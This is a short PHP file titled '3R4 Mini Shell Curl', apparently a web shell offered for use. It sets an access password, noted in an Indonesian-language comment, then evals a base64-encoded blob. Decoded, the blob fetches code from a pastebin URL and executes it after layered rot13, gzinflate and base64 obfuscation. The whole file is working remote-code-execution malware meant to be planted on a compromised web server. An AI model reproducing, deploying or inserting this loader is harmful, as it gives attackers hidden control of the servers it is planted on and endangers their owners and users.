3R4 Mini Shell Curl

<?php
$auth_pass = "63161cac1f1c3b6563c044ed225869c6"; // default passwordnya gan = "3R4"
eval(base64_decode("ZnVuY3Rpb24gY3VybCgkdXJsKXsNCgkkY2ggPSBjdXJsX2luaXQoKTsNCgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOw0KCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgNSk7DQoJJGV4ZWMgPSBjdXJsX2V4ZWMoJGNoKTsNCgljdXJsX2Nsb3NlKCRjaCk7DQoJcmV0dXJuICRleGVjOw0KfQ0KJHNoZWxsID0gY3VybChcJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L1hDWWQ3aE14XCcpOw0KZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCRzaGVsbCkpKSkpOw=="));